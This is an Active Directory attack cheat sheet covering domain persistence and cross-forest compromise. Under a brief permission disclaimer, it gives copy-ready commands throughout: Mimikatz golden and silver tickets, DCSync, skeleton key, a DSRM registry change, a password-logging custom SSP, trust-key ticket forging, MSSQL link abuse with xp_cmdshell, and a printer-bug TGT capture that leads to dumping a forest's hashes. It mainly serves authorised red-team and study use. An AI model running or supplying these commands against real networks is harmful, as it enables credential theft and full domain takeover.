AD Persist

Persistence

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

Domain Persistence

Golden Ticket Attack

#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:<HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync Attack

#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Tip: /ptt -> inject ticket on current running session /ticket -> save the ticket on the system for later use

Silver Ticket Attack

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN List

Skeleton Key Attack

#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName $DC_hostname

#Access using the password "mimikatz"
Enter-PSSession -ComputerName $ComputerName -Credential $Domain\$UserName

DSRM Abuse

Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName $DC_hostname

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName $DC_hostname

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Then just PTH to get local admin access on DC!

Custom SSP

We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

Cross Forest Attacks

Trust Tickets

If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

⚠️ The access we will have will be limited to what our DA account is configured to have on the other Forest!

Using Mimikatz:

#Dump the trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

#Forge an inter-realm TGT using the Golden Ticket attack
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:<PathToSaveTheGoldenTicket>"'

❗ Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

Using Rubeus:

.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

Abuse MSSQL Servers

• Enumerate MSSQL Instances: Get-SQLInstanceDomain

• Check Accessibility as current user:

Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

• Gather Information about the instance: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

• Abusing SQL Database Links: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!

Check for existing Database Links:

#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers

Then we can use queries to enumerate other links from the linked Database:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"

Query execution:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"

Breaking Forest Trusts

If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest's root domain to authenticate to us. Then we can capture it's TGT, inject it into memory and DCsync to dump it's hashes, giving ous complete access over the whole forest.

Tools we are going to use:

• Rubeus

• SpoolSample

• Mimikatz

Exploitation example:

#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all

Detailed Articles:

• Not A Security Boundary: Breaking Forest Trusts

• Hunting in Active Directory: Unconstrained Delegation & Forests Trusts